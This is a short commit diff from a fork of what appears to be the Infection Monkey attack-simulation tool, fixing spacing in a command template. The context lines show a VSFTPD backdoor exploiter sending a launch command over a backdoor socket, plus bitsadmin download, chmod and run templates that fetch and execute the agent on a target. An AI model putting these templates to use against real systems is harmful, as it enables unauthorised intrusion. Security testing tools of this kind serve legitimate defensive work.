forked from p15670423/monkey
Agent: Remove leading space from RUN_MONKEY string template
This commit is contained in:
parent
e70d1c714b
commit
86d7879c31
|
@ -150,7 +150,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
# Set unlimited to memory
|
||||
# we don't have to revert the ulimit because it just applies to the shell obtained by our
|
||||
# exploit
|
||||
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
|
||||
run_monkey = ULIMIT_V + UNLIMITED + " " + run_monkey
|
||||
run_monkey = str.encode(str(run_monkey) + "\n")
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
if backdoor_socket.send(run_monkey):
|
||||
|
|
|
@ -39,7 +39,7 @@ BITSADMIN_CMDLINE_HTTP = (
|
|||
"bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s"
|
||||
)
|
||||
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
||||
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||
# Commands used to check for architecture and if machine is exploitable
|
||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||
# Architecture checking commands
|
||||
|
|
Loading…
Reference in New Issue